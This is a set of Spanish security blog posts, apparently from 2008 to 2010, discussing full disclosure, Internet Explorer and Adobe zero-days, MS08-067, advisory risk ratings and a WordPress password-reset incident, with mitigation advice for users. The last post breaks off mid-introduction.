Uno de los debates más longevos en el mundo de la seguridad es aquel que dirime si las vulnerabilidades deben ser publicadas con todo lujo de detalles sin contar con los fabricantes, o si por el contrario los problemas deben resueltos colaborando en privado con los afectados sin que trascienda ningún tipo de detalle hasta que las medidas correctoras estén disponibles.

Esta misma semana Tavis Ormandy lanzó a la lista de Full Disclosure detalles de un problema de seguridad en el centro de ayuda de Microsoft Windows en el que se describe con todo lujo de detalles el procesado incorrecto de secuencias de escape malformadas en el componente afectado, lo que a la postre puede facilitar el compromiso de sistemas Windows en una gama tan amplia que se inicia en XP Home Edition y que acaba en Microsoft Windows Server 2003 Datacenter Edition. Poco tiempo después Microsoft respondió al anuncio de Ormandy con un artículo publicado en su centro de respuesta ante incidentes, en el que la compañía se queja del escaso tiempo que Ormandy les ha dado para resolver el problema (apenas 4 días) lo que, en opinión de Microsoft, incrementa el riesgo de ataques y coloca en situación de riesgo a sus clientes.

Microsoft tiene todo el derecho del mundo a pensar que cuatro días no son suficientes y a posicionarse en contra del full disclosure, como ha hecho en su artículo. También cualquier lector tiene el derecho a pensar que Microsoft comete un error importante al hablar constantemente de un investigador de Google, cuando Ormandy ha realizado el aviso a título particular y no representando a su empleador, como también Ormandy tiene libertad para escoger los plazos y los métodos para avisar de sus descubrimientos. Es precisamente esta rica libertad de opinión y manobra lo que hace que la resolución de problemas de seguridad sea un campo en el que nunca llueve a gusto de todos.

Esta no es ni será la única vez en la que veremos en lo alto del tapete un debate sobre la conveniencia del full disclosure. La razón subyacente es la dispersión de opinión y su enorme variabilidad, desde claramente posicionada en los extremos hasta alineada con las múltiples posiciones intermedias de la enorme amalgama de opinión existente entre la desaprobación y el apoyo incondicional a la liberación pública y detallada de los problemas de seguridad.

En lo que a mí respecta quizás me encuentre en una posición intermedia, aquella que defiende la liberación controlada de vulnerabilidades resueltas con el fabricante siempre y cuando el fabricante responda de una manera continuada en el tiempo en tiempo y forma, sin demorar innecesariamente la resolución de los problemas. Para estos casos es posible que la única manera de espolear el proceso de resolución sea lanzar las vulnerabilidades al público, por mal que le pese al fabricante afectado, entendiendo como errónea la visión en la que el full disclosure sólo implica la puesta en riesgo de los clientes, ya que el conocimiento público de los problemas provoca habitualmente la comunicación pública de medidas de mitigación que de otro modo no serían conocidas por los clientes hasta que los problemas hayan sido resueltos, pero que sí podrían estar siendo aprovechados por los atacantes que hayan logrado conocer los detalles durante el proceso de resolución, o incluso anteriormente.

Independientemente de mis preferencias, que no dejan de ser estrictamente personales, comprendo y respeto otras posiciones, y no dejo de pensar que la existencia de opiniones contrapuestas es una constante en cualquier campo de actividad profesional que debemos aprovechar para enriquecer nuestro conocimiento fomentado los debates sanos y productivos.

Un saludo,

Definitivamente 2010 no ha empezado con buen pie para Internet Explorer. Si hace poco vivía un 0-day con importantes consecuencias para la seguridad, ahora tenemos en lo alto de la mesa un problema moderadamente crítico (definitivamente menos relevante que el anterior) que sin embargo vuelve a requerir por parte de los usuarios una atención especial.

Los amigos de Core Security descubrieron tiempo atrás un par de problemas (uno tiene que ver con la etiqueta de objetos dinamicos y el otro con URLMON) que ahora han hecho públicos, mediante los cuales un atacante podría extraer información sensible almacenada en ficheros locales de un sistema Windows siempre y cuando el usuario emplease una versión vulnerable y visitase una página especialmente conformada. No se necesita intervención alguna del usuario mas allá de visitar la pagina maliciosa, si bien este problema no permite (afortunadamente) comprometer el sistema en su totalidad como ocurriera con el exploit Aurora.

Quizás sea reseñable indicar que estas vulnerabilidades son, en palabras de los descubridores, una variación de otros problemas descubiertos anteriormente por Core (CoreLabs Security Advisories CORE-2008-0103 y CORE-2008-0826), lo que quizás sirva para reavivar el eterno debate sobre si los parches que ofrecen los fabricantes solventan siempre los problemas de raíz o si por el contrario, son paños de agua caliente para salir del paso.

No hay parche disponible para estas vulnerabilidades y Microsoft ha documentado el correspondiente Security Advisory en el que se comentan los posibles medidas de mitigación y donde la compañia deja entrever que no descarta publicar un parche fuera de ciclo (out-of-band) al respecto.

¿Es mi versión de Internet Explorer vulnerable?

De acuerdo a la información liberada por los descubridores, la relación de versiones vulnerable es la que sigue:

• Internet Explorer 5.01 SP4 corriendo en Windows 2000 SP4
• Internet Explorer 6 SP1 corriendo en Windows 2000 SP4
• Internet Explorer 6 SP2 corriendo en Windows XP SP2
• Internet Explorer 6 SP2 corriendo en Windows XP SP3
• Internet Explorer 7 corriendo en Windows XP SP2
• Internet Explorer 7 corriendo en Windows XP SP3
• Internet Explorer 7 corriendo en Windows Vista SP1
• Internet Explorer 7 corriendo en Windows Vista SP2
• Internet Explorer 7 corriendo en Windows Server 2003 SP2 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad
• Internet Explorer 7 corriendo en Windows Server 2008 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad
• Internet Explorer 8 corriendo en Windows XP SP2
• Internet Explorer 8 corriendo en Windows XP SP3
• Internet Explorer 8 corriendo en Windows Vista SP1 si el modo protegido está desactivado
• Internet Explorer 8 corriendo en Windows Vista SP2 si el modo protegido está desactivado
• Internet Explorer 8 corriendo en Windows 7 si el modo protegido está desactivado
• Internet Explorer 8 corriendo en Windows Server 2003 SP2 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad
• Internet Explorer 8 corriendo en Windows Server 2008 R2 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad

No son vulnerables las siguientes configuraciones:

• Internet Explorer 7 corriendo en Windows Vista, Windows Server 2003 o Windows 7 si el modo protegido está activado
• Internet Explorer 8 corriendo en Windows Vista o Windows Server 2003 si el modo protegido está activado
• Internet Explorer 8 corriendo en Windows Server 2003 si el modo protegido está activado
• Internet Explorer 8 corriendo en Windows 7 o Windows Server 2008 R2 si el modo protegido está activado

Lo que debes hacer si usas Internet Explorer

Lo primero es leete el Microsoft Security Advisory (980088): http://www.microsoft.com/technet/security/advisory/980088.mspx.

Una vez te lo hayas leído puedes aplicar alguna de las siguientes acciones de mitigación (no es necesario ejecutarlas todas)

1. Asegúrate de ejecutar Internet Explorer con el modo protegido activado, si es que tu sistema operativo lo permite y si entiendes las limitaciones que se pueden producir al usarlo (http://blogs.msdn.com/ie/archive/2007/04/04/protected-mode-for-ie7-in-windows-vista-is-it-on-or-off.aspx). Como probablemente te suene a chino esto del modo protegido, puedes documentarte en http://msdn.microsoft.com/en-us/library/bb250462(VS.85).aspx. Este modo viene activado por defecto en la zona de seguridad de Internet sólo en Windows Vista, Windows 7 y Windows Server 2008.
2. Emplea la funcionalidad Network Protocol Lockdown del navegador. Puedes activarlo y desactivarlo en http://support.microsoft.com/kb/980088.
3. En la configuración por zonas, establece el nivel de seguridad tanto para Internet como Intranet en ALTO, con lo que se impedirá la ejecucion de scripts y controles ActiveX. Nótese que esto puede tener implicaciones en ciertas aplicaciones Web que usen estos componentes.
4. Desactiva el scripting activo para las zonas Internet e Intranet Local manualmente, estableciendo una configuración de las mismas de tipo personalizado.

Si por alguna razón no comprendes el trasfondo de estas posibles soluciones (lo cual no me extrañaría lo más mínimo) o si tienes dudas sobre su utilización, lo más sensato, hasta que se publique un parche, es no usar Internet Explorer a la hora de visitar páginas que no sean de nuestra más exclusiva confianza. Un navegador alternativo es recomendable en estos casos.

Un saludo,

Lo que comenzó siendo un affaire entre Google y China va tomando dimensiones cada vez más relevantes. Aunque aparentemente sólo Google y Adobe Systems han confirmado oficialmente haber sufrido ataques especialmente dirigidos al robo de propiedad intelectual, la lista de empresas notorias afectadas parece contener otros selectos miembros entre los que se se podrían encontrar Symantec, Yahoo! y Dow Chemical, entre un total de 34 organizaciones.

Entre tanto, los responsables del producto siguen sin tener claro cómo atajar el problema, motivo por el que empiezan a oirse voces relevantes, como la del propio Gobierno alemán, que dice lo que nadie se atreve a decir: en estos precisos momentos, el consejo a dar a los usuarios de Internet Explorer es dejar de usarlo hasta que las condiciones de seguridad estén mínimamente garantizadas para los usuarios.

Para poner las cosas todavía más difíciles, apuntan en ISC SANS que el código ha sido finalmente publicado, y que el origen del problema es una vulnerabilidad en mshtml.dll, componente del navegador encargado de renderizar las páginas en Internet Explorer. Este código malicioso funciona plenamente en Internet Explorer 6, pero que en caso de tener Data Execution Protection (DEP) activado para el navegador, parece que el exploit no ejecuta código en las versiones 7 y 8.

Como es habitual una vez que un exploit es liberado públicamente, ha faltado poco para que los chicos de Metasploit incluyan el código en sus herramientas para que los responsables de seguridad puedan evaluar en cada caso particular si sus sistemas están afectados.

Consejos prácticos para usuarios

Orientativamente, porque siempre puede haber despliegues en los que DEP esté descativado para Internet Explorer, este modelo de protección fue introducido en Windows XP Service Pack 2, aunque desde estas líneas invito a los lectores a usar Metasploit para verificar su estado de vulnerabilidad. Aquellos que no tengan el conocimiento suficiente, deberían intentar consultar la tabla ofrecida por el fabricante, en la que se consideran vulnerables las combinaciones Windows 2000 y Windows XP con Internet Explorer 6, y potencialmente vulnerables las instalaciones de Windows XP e Internet Explorer 7.

De todos modos, todo lo anterior está condicionado a que DEP para Internet Explorer esté activado, y eso sólo ocurre por defecto en Internet Explorer 8 que corran bajo XP Service Pack 3, Windows Vista Service Pack 1 y superiores, así como en Windows 7. A modo de resumen, toma nota de las siguientes recomendaciones:

• Si careces de conocimiento técnico suficiente o tienes dudas, no utilices Internet Explorer. Haz uso de un navegador alternativo hasta que el fabricante distribuya un parche para su problema. Deberías recibir un aviso de la disponibilidad del parche en las actalizaciones de Windows (las cuales espero tengas activadas en modo automático). ¿Cuándo sucederá esto? No lo sé, como muy tarde, debería distribuirse el parche antes del próximo 12 de febrero, en el ciclo de actualizaciones mensual de Microsoft, aunque no es descartable que la solución esté disponible antes.
• Si tienes conocimiento suficiente y quieres/necesitas Internet Explorer, habilita DEP para el navegador, y deshabilita el soporte para JavaScript en Internet Explorer (advertencia, esto tiene un impacto elevado en el funcionamiento de la mayoría de los sitios). Siempre que la compatibilidad con tus sitios Web y aplicaciones te lo permitan, trata de que el producto esté lo más actualizado posible, lo que significa especialmente alejarse de Internet Explorer 6.

Señoras y señores: lo de Google es sólo la punta del iceberg. El amigo George Kurz está haciendo un seguimiento en vivo en Twitter más que recomendable al hilo de este enorme problema que puede tener implicaciones mucho más severas que las que hoy en día conocemos.

Un saludo, y no dejéis de comentar vuestras dudas.

Comentar a estas alturas que los que los 0-day se venden no aporta novedad alguna. Encontrar vulnerabilidades y ponerlas a la venta posteriormente es un negocio lucrativo.

Lo que quizás sea más novedoso es que de la venta underground, sigilosa donde las haya, hemos pasado a la venta a los cuatro vientos. En este caso, el presunto descubridor (que no ha aportado prueba alguna sobre el presunto 0-day, todo sea dicho) ha empleado Twitter y Full Disclosure para anunciar la venta. Curioso cuando menos.

Por cierto, hablando de 0-day, los amigos de lo ajeno nos envían un año más su tradicional felicitación navideña. Adobe confirmó ayer que hay un nuevo exploit dando vueltas ahí­ fuera. No se sabe mucho del tema, salvo que las muestras que se han visto tienen como objetivo el motor JavaScript de los productos Adobe, con lo que a la espera de parches puede resultar prudente desactivar el soporte JavaScript. Para ello, en el menú Edición, seleccionad la opción Preferencias, y dentro de las opciones JavaScript, desactivar la casilla Activar JavaScript para Acrobat. En lo que a mí respecta, podéis dejar la casilla desmarcada por los siglos de los siglos, a no ser que sea preciso tratar JavaScript en algún documento PDF que os envíen. Ante casos como el descrito (y en general, siempre) no es recomendable abrir documentos PDF inesperados o que no procedan de fuentes confiables, lo que incluye lo que recibamos por correo así como los PDF que encontremos navegando en Internet.

No hay parches disponibles, y tampoco hay información exacta del impacto y los vectores de ataque, pero siendo algo orientado a algo tan popular como Adobe no debemos esperar nada bueno. Secunia se decanta por la ejecución de código abitrario y comenta que las versiones 9.2 y anteriores de Adobe Reader y Acrobat están afectadas. Cuidadito.

Un saludo,

Un amigo me ha pasado un enlace relacionado con Internet Explorer que promete traer cola en los próximos días.

El código de este zero-day se publicó el pasado viernes en Bugtraq. Symantec ha realizado un pequeño análisis y ha confirmado la validez del mismo, recordándonos a todos que una vez que el exploit ha sido liberado es sólo cuestión de tiempo que se refine y empiece a ser usado de una manera intensiva por parte de los amigos de lo ajeno. No es descartable que la vulnerabilidad se haya estado utilizando antes de que haya visto la luz de una manera más privada, ya que es el típico caso que en los mercados se cotiza muy al alza, y por el que muchos desembolsan cantidades importantes de dinero para explotar alegremente el problema pasando totalmente inadvertidos.

Según la información publicada, que tampoco es que sea precisamente abundante, el exploit afecta a las versiones 6 y 7 de Internet Explorer con JavaScript activado. Pese a ser versiones obsoletas del navegador, se estima que en torno al 40% de la cuota de mercado en cuanto a navegadores corresponde a las versiones citadas, con lo que existe mercado más que suficiente para que los ataques se repitan sistemáticamente. De todos es conocido también que gestionar y mantener el nivel de parche no es precisamente una virtud del público en general, con lo que este factor incrementará la rentabilidad y longevidad del problema.

Mediante este ataque los atacantes sólo tienen que insertar el exploit en páginas Web bajo su control y forzar al usuario a que visite los enlaces (algo secillo de conseguir), lo que permitiría infectar a los usuarios con el mero hecho de visitar los contenidos. Parece claro que esto será utilizado para contaminar los equipos con malware financiero, y en el mejor de los casos, por llamarlo de alguna manera, para integrar máquinas en botnets.

El problema parece residir en la manera en la que Interrnet Explorer procesa la información de las hojas de estilo CSS (Cascading Style Sheets). Hasta que el fabricante solucione el problema, lo cual debería suceder relativamente pronto y probablemente, dada la extrema gravedad del problema, fuera del ciclo mensual de actualizaciones, se recomienda a los usuarios de Internet Explorer que desactiven JavaScript y que no visiten sitios Web que no sean de la más estricta confianza. Habida cuenta que las casas trabajan ya en la elaboración de firmas específicas para este problema, es extremadamente importante mantener actualizados los antivirus.

Un saludo,

Como muchos sabéis, el otro día apareció un fallo en WordPress que permitía, por un error de diseño, resetear la clave de administración de manera remota, y sin ser administrador.

Este blog, al pertenercer a la rama 2.8, era vulnerable. Aunque sigue sin estar actualizado, está parcheado. Pero antes de lanzar el parche, alguien reseteó la contraseña con éxito aprovechando la vulnerabilidad.

El trazo de la IP nos lleva a Tulúa, Colombia. Es una IP privada que no aparece en listados de proxies, con lo que a buen seguro, es un usuario corriente y moliente que tiene una conexión contratada con Telefónica de Colombia (Telecom)

En fin, nada serio, algo anecdótico, pero en este mundo todos estamos expuestos, y en todas partes cuecen habas :)

Un saludo, y buen fin de semana para todos.

Desde hace algún tiempo existe una herramienta específicamente diseñada para los ciclos de gestión de cambios. Se llama BugSpy, y la idea es bien simple: este buscador agrega contenidos de la Web, pero con una particularidad: sólo agrega contenidos de seguridad, y concretamente, vulnerabilidades publicadas en productos de código abierto.

BugSpy tiene como objetivo ofrecer información únicamente de problemas de seguridad relevantes y que no estén solucionados. No obstante, debido a la actualización constante de las fuentes y por el propio desenvolvimiento de la seguridad en el campo del open source, el estado de los bugs puede ser muy variable, con lo que siempre es recomendarse apoyarse en otros sitios de confianza, incluyendo los de los fabricantes.

Además del buscador de vulnerabilidades, BugSpy ofrece servicios gratuitos como estadísticas y gráficas, alertas de seguridad y filtros específicos para deficiencias de seguridad susceptibles de ser explotadas.

BugSpy funciona sobre Django, una plataforma de desarrollo Web que intuyo acabará ganando muchos enteros y adeptos. En mi modesta opinión, veo bastante proyección en este framework, pese a reconocer que la presencia de Python en aplicaciones Web es hoy en día testimonial si la comparamos a otros marcos de trabajo más populares.

Los twitteros están de enhorabuena: las alertas que emanan de los resultados que se van agregando a BugSpy se vuelcan a la cuenta http://twitter.com/bugalert. El otro día hablábamos de la utilización de Twitter en el mundo de la seguridad, y cosas de la vida, nos lo volvemos a encontrar. Lo voy teniendo cada día más claro: para estar en la onda al final tendré que hacerme una cuenta y twitear en ella los contenidos del blog.

Un saludo, y buen fin de semana para todos :)

Secunia, Secwatch, Securiteam, Vupen, US-CERT ... son muchos los sitios de Internet que se dedican a hablar de vulnerabilidades. Hay servicios gratuitos, los hay de pago. Demasiados para enumerarlos.

Estos servicios tienen un denominador común: son repositorios de información en los que se publica, para un producto y un problema determinado, una ficha en la que suele presentarse, además del producto y versión afectados, datos como nivel de riesgo o criticidad, existencia de parches o workarounds mitigatorios, fechas de descubrimiento, actualización y solución de las vulnerabilidades, así como una breve explicación de la problemática que se denuncia. Es lo que se llama un boletín de seguridad, y los hay de todos los colores y para todos los gustos.

Un boletín tiene una utilidad principal, y esa no es otra que poner en conocimiento de los equipos de gestión del cambio que se ha descubierto un problema de seguridad en un componente que podría pertenecer o pertenece a su parque. Aunque los boletines incluyen enlaces a parches, soluciones, comentarios, vida, obra y milagros de los descubridores del problema, y mucha más información (útil, nadie dice que no) los boletines per se sirven principalmente para avisar. Es por esto que los anglosajones los suelen llamar advisories, lo que a veces se traduce como avisos, pero estaría mejor traducido como consejos.

¿Y por qué son consejos o avisos y no mandatos? ¿Por qué es un error convertir cualquier aviso de seguridad en un mandato de seguridad? Pues oiga, muy fácil. Los boletines clasifican los riesgos sin tener en cuenta el despliegue real del producto. Cuando un investigador o empresa escribe un boletín, no lo hace poniéndose en la piel de la totalidad de los n usuarios que pueden tener instalado un producto determinado, entre otras razones, porque es imposible. A lo sumo, se basará en una batería de pruebas lo más amplia posible y en su experiencia, pero es imposible reproducir todas las condiciones que pueden darse cuando se instala un paquete o conjunto de programas. El boletín, en mayor o menor medida, se suele escribir de un modo abstracto, analizando los riesgos teniendo en cuenta el elemento de un modo aislado.

Los boletines suelen clasificar los riesgos en función de tres parámetros:

• Ámbito de explotación: local, remota o ambas
• Existencia de parches, contramedidas y exploits conocidos
• Tipología de acción maliciosa a la que puede conducir: revelación de información, escalada de privilegios, ejecución de código, denegación de servicio, etc.

Así, por poner dos ejemplos básicos, siguiendo esta clasificación un problema que sólo se puede explotar en local, sin acceso al sistema y condicionado, será poco crítico, mientras que una vulnerabilidad que pueda ejecutarse en remoto sin condiciones, y que conduzca a la ejecución de código, existiendo además exploits circulando en redes públicas, será un asunto altamente crítico.

Vamos a ver algunos ejemplos reales donde podremos comprobar que basarnos exclusivamente en un boletín de seguridad para calificar un riesgo para un despliegue determinado es un terrible error. Son cuatro ejemplos sobre cuatro productos distintos, y en este caso, son boletines públicos de la empresa Secunia, más o menos recientes en el tiempo.

Ejemplo 1

Título: Internet Explorer Data Binding Memory Corruption Vulnerability (10 de diciembre de 2008)

Calificación según el boletín: Extremadamente crítico (explotación remota, existencia de exploits confirmados, ejecución arbitraria de código)

Comentarios: ¿Dónde está reflejado ahí el ámbito de actuación de ese Internet Explorer? En ningún sitio. Es decir, si Internet Explorer es un producto de escritorio en una organización, donde es empleado para acceder a un CRM en red local, donde los equipos no admiten entrada de datos externos (no USB, no CD/DVD, etc) y donde no existe salida a Internet, ¿dónde está la criticidad? En ningún sitio.

Sin embargo, si es un navegador de usuario doméstico o profesional, existiendo salida a Internet y acceso a correo electrónico, sin presencia de medidas de protección, así como una fuerte interrelación con otras aplicaciones en la red, el riesgo sí puede considerarse como muy elevado. Entre ambos extremos, imaginaos la cantidad de supuestos que pueden existir.

Ejemplo 2

Título: IBM Tivoli Access Manager WebSEAL Denial of Service Vulnerability (25 de noviembre de 2008)

Calificación según el boletín: Moderadamente crítico. Razón fundamental, la mezcla de que sea un problema explotable remotamente que puede conducir a una denegación de servicio, y no a un problema de calado mayor (escalada de privilegios, ejecución de código, etc)

Comentarios: ¿Qué sucedería si ese TAM estuviera corriendo frente a una infraestructura crítica de autenticación admitiendo tráfico de Internet (lo habitual en un TAM, por cierto) y denegamos el servicio? Por lo pronto, teniendo en cuenta que estos productos suelen estar instalados en grandes infraestructuras, y habitualmente en servicios financieros, el primer efecto de un DoS en un TAM son los perjucios económicos, así como el daño de imagen y el daño reputacional, con lo que aventurar un problema moderadamente crítico podría hacer que nos quedemos cortos.

¿Y si estuviera en un segmento no accesible directamente por el tráfico de Internet, dando cobertura a una estrategia de autenticación de menor importancia? Poco, o nada. ¿Será siempre algo moderadamente crítico? La respuesta es no.

Ejemplo 3

Título: IBM AIX Multiple Privilege Escalation Vulnerabilities (27 de noviembre de 2008)

Calificación según el boletín: Poco crítico. Explotable localmente, y con posibilidad de escalada de privilegios, condicionada a que el sistema opere en determinadas maneras.

Comentarios: La primera pregunta. ¿Ha visto Usted un AIX en ejecución alguna vez? Como probablemente no lo habrá visto, yo le cuento: es un sistema profesional, propietario, y además de costar un pastón entre sistema y máquina (porque no corre en el PC que tiene en lo alto de la mesa, por desgracia) suele dar servicio, entre otras cosas, a aplicaciones que necesitan servidores Web estáticos y dinámicos que por desgracia, ni son para poner foros, ni fotos de los amiguetes ni musiquita MP3. Corriendo en un AIX es frecuente ver aplicaciones del mundo de seguros y de la banca a distancia, así como aplicaciones financieras no core y/o con datos muy sensibles. En definitiva, una escalada de privilegios, aunque sólo sea local, puede ser dramática dependiendo de dónde corra ese AIX.

¿Y si ese AIX está en una red interna, protegida del tráfico exterior, y su tráfico está convenientemente filtrado, por ejemplo, porque sólo se accede mediante transacciones CICS? Pues la escalada de privilegios deja de tener sentido, porque los accesos que no son CICS los harán los administradores y operadores de las máquinas, que normalmente tienen accesos UID 0. En estos casos, no es de esperar que haya cuentas de usuario susceptibles de atacar el sistema elevando privilegios.

Ejemplo 4

Título: Debian update for amarok (16 de enero de 2009)

Calificación según el boletín: Altamente crítico (acceso ilegítimo al sistema en remoto)

Comentarios: Lo primero es pensar, y darse cuenta de que las probabilidades de encontrarse Amarok corriendo en Debian (siendo la distribución un servidor) son análogas a las de encontrarse Winamp en un servidor Windows: escasas. ¿Que hay gente capaz de todo? Sí. ¿Que hay administradores poco o nada profesionales que tienen 800 paquetes en sus servidores, y sólo usan 50? Sí. ¿Que hay gente que tiene desktops Debian repletos de aplicaciones multimedia? Sí ¿Que la proporción de usuarios desktop en Debian es menor que la de usuarios profesionales? Probablemente. ¿Que lo normal es que alguien que sabe instalar Debian para usarlo de servidor no tenga instalado Amarok ni ninguna otra aplicación de escritorio? También.

Algunas conclusiones

1. Los boletines son útiles y necesarios para administrar la seguridad, pero es absolutamente necesario contextualizar la problemática en el despliegue particular que tengamos. Si no sabemos traducir las problemáticas abstractas de un aviso en los riesgos reales de una instalación, mejor que nos dediquemos a otra cosa. Asumir que el riesgo particular de una instalación es el que marca un boletín es un tremendo error.
2. Los boletines no son mandatos de seguridad, sino consejos de seguridad. Antes de instalar un parche hay que estudiar el caso con calma, y determinar los riesgos reales para nuestra instalación, no sólo los que puede explotar el problema de seguridad, sino la estrategia de aplicación de parches que puede llevar asociada (especialmente, en términos de incompatibilidad entre productos). Incluso en el caso de un usuario doméstico, tampoco deben ser entendidos como mandatos. Si ha aparecido un problema crítico en el Net Framework y yo no lo tengo instalado, ¿qué urgencia tengo en aplicar parche alguno?
3. Por último, y tal y como indica el título de este pequeño artículo, Boletines de seguridad != gestión de seguridad. Ni la gestión de parches es la gestión de cambios, ni la gestión de la seguridad es la gestión de parches. Cada disciplina tiene su ámbito y hay que saber diferenciar bien qué es cada cosa. Si vas a construir la gestión de tu seguridad obedeciendo sólo lo que te llega en forma de boletín, tu estrategia fallará, porque además de los boletines, de los servicios de consultoría y de las buenas prácticas, tu estratregia necesita algo que sólo puedes darle tú: el conocimiento de tu negocio y cómo atender sus riesgos.

Un saludo,

He preferido esperarme un poco a la hora de hablar de este problema, por eso de tener las cosas claras, y es que cuando salen parches inesperados sin detalles, es mejor esperar y ser prudentes antes de opinar, porque de lo contrario es probable que entremos en la especulación. Es siempre preferible esperar actualizaciones en la información cuando se va a opinar de asustos como el que nos ocupa. Esta lección me la apunto para mí también, porque yo soy el primero que a veces ha opinado sin que estuvieran todos los detalles en lo alto de la mesa, y esto puede tener efectos adversos, sobre todo en los que llegan a la información que publicas.

El pasado 23 de octubre, tan pronto estuvo disponible, Microsoft emitió un boletín de seguridad fuera de su ciclo habitual de actualizaciones: Microsoft Security Bulletin MS08-067 – Critical - Vulnerability in Server Service Could Allow Remote Code Execution (958644), cuya aparición se desveló en un aviso previo, en el que poco o nada se decía.

Efectivamente, el día 23 apareció este parche, y así lo hizo saber el fabricante. En este comunicado se confirmaba que el problema afecta a todas las versiones de Windows en soporte, indicando que era de carácter critico para todas las versiones con la excepción de Vista y "otras versiones nuevas". El carácter crítico no lo discute nadie: hablamos de ejecución remota de código en algo tan básico como el servicio server de Windows. El resumen de impactos es el que sigue:

Versiones con afectación catalogada como crítica

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2
Windows XP Service Pack 3
Windows XP Professional x64 Edition
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 1
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP1 for Itanium-based Systems
Windows Server 2003 with SP2 for Itanium-based Systems

Versiones con afectación catalogada como importante

Windows Vista and Windows Vista Service Pack 1
Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1
Windows Server 2008 for 32-bit Systems*
Windows Server 2008 for x64-based Systems*
Windows Server 2008 for Itanium-based Systems

¿Hora de cambiar el mensaje?

En seguridad es frecuente que los que nos dedicamos a escribir sobre estos temas, que somos muchos, nos limitemos a hacer descripcones técnicas de los incidentes. Por ejemplo:

Le informo que el parche MS08-067, que solventa una vulnerabilidad en el Server Service de las versiones en soporte declaradas el ciclo de vida de Microsoft Windows, ha sido liberado fuera del ciclo de actualizaciones, con lo que, dada su gravedad, la recomendación es que actualice de manera urgente. La vulnerabilidad, caso de ser explotada, facilitaría una posible ejecución remota de código.

Esta información es suficiente para un técnico o un usuario con cierto conocimiento, pero os invito a que hagáis una prueba con vuestros allegados, a ver quién, después de escuchar un discurso similar, sabe resumir qué pasa, si es o no es un problema, cuáles son las acciones a tomar y porqué hay que tomarlas. Creo que todos coincidiremos que esta información es insuficiente e inútil para la amplia mayoría de la ciudadanía, porque el usuario medio ni sabe lo que es ejecución remota, ni lo que es el servicio server de Windows, ni sabe discernir entre lo que es crítico, importante o poco relevante en el ámbito de la seguridad, ni qué es el ciclo de vida de Microsoft, etc. De hecho, muchos ni sabrán si tienen instalado un Service Pack 2 o un Service Pack 3, ni lo que es un Service Pack, o si su sistema es o no es x64.

La información que realmente importa en este asunto es que esta vulnerabilidad, como reconoce el mismo fabricante, se descubrió como parte de un proceso de investigación en series limitadas de malware especializado orientado a Windows XP. Durante unas dos semanas (nos remontamos a la semana del 8 de octubre) los técnicos de Microsoft estuvieron, como es normal y lógico, analizando el tema. Habían descubierto malware (TrojanSpy:Win32/Gimmiv.A y TrojanSpy:Win32/Gimmiv.A.dll) que explotaba una vulnerabilidad que no conocían, y que por ende, se investigó, disparando un proceso de gestión de incidencias que internamente denominan Software Security Incident Response Process (SSIRP).

Según este proceso, se determinó que la vulnerabilidad era potencialmente "wormable", es decir, diseminable masivamente sin intervención del usuario, al igual que sucede con los gusanos, lo cual es sin duda preocupante. Por otro lado, como es normal, el fabricante orientó la producción de un parche corrector a la distribución masiva, rápida y que no ocasionase problemas a la clientela, lo que llevó a acelerar el proceso y no esperar al ciclo de actualizaciones de Noviembre. Una actitud responsable, sin duda alguna, acompañada de otra actitud igualmente responsable, consistente en la notificación a los partners de los hallazgos y las firmas empleadas para detectar esa nueva amenaza.

Riesgos reales

He echado muy en falta que este problema no haya sido orientado al riego real, y ese no es poder sufrir una ejecución remota de código. El riesgo real para mí es que este problema puede conducir a que el crimen organizado tome control de nuestras máquinas para sostener actividades criminales. En definitiva, que nuestros recursos (nuestro PC, nuestra ADSL, la electricidad que pagamos mes a mes) sirvan para cometer delitos, sin nuestro consentimiento, y sin nuestro consentimiento.

Si hay que señalar a culpables, que sea a quienes investigan estas cosas no por afición, o por colaborar con los fabricantes, sino con fines criminales. Yo en este caso no tengo nada que objetar respecto a la actuación del fabricante, que ha dispuesto todos los medios a su alcance para atender a su clientela, siendo todo lo diligentes y responsables a la hora de emitir un parche necesario, pero que de hacerlo mal, podría afectar a muchas personas.

Desde webcasts, a la información sobre la importancia de ir de la mano de sus partners, así como de los programas activos de Microsoft para solventar problemas, o de la importancia de ser prácticos hablando de impactos en estas materias, ofreciendo información detallada y medios para protegerse.

¿Pero qué ha sido del malware que ha provocado este jaleo? ¿Y de la posibilidad de que se esté explotando el problema desde hace semanas? ¿Y de las probabilidades de que otras vulnerabilidades no conocidas, similares a la descrita, estén siendo explotadas en la actualidad?

¿Por que no se ha remarcado o enfatizado que la vulnerabilidad se ha descubierto viendo lo que hace un juego de malware? Es decir, que todo esto se ha descubierto porque unos atacantes se han inventado una manera de explotar millones de máquinas, y la han empaquetado el método en un juego de troyanos, que una vez distribuido, ha llegado a las manos de quienes velan por la seguridad de una plataforma desembocando en acciones de mitigación del problema.

Pero, ¿cuántas máquinas han podido recibir ese malware antes de la aparición del parche? ¿Cuáles son los detalles que nos permiten saber qué hacen y cómo lo hacen esos troyanos? ¿Son pruebas de concepto? ¿Es malware consolidado? Vaya usted a saber ...

Soy usuario doméstico de Windows. ¿Qué hago?

1. Actualice el sistema.
2. Compruebe si está infectado (desconozco qué antivirus aparte del propio de Microsoft detectan y solventan la amenaza)
3. Actuar sobre la infección, si existe. Si tiene dudas, acuda al fabricante.

Soy usuario profesional de Windows. ¿Qué hago?

1. Diríjase al fabricante.
2. Adopte con su ayuda una estrategia de gestión de incidentes específica para el caso.
3. Actúe en función a la estrategia definida en el paso anterior.

Blogs del fabricante que tratan estas temáticas

Os dejo algunos enlaces útiles del mismo fabricante, para poder tener más información sobre vulnerabilidades en plataformas Windows. Son los siguientes:

The Microsoft Security Response Center (MSRC)
MSRC Ecosystem Strategy Team
Security Vulnerability Research & Defense
Microsoft Malware Protection Center

Un saludo,

Recientemente instalé un plugin para WordPress que se llama 404 notifier. Este plugin es muy útil, ya que para cada hit que provoque un error 404, el motor del blog me envía un correo electrónico informando de que alguien ha intentado acceder a un contenido sin éxito.

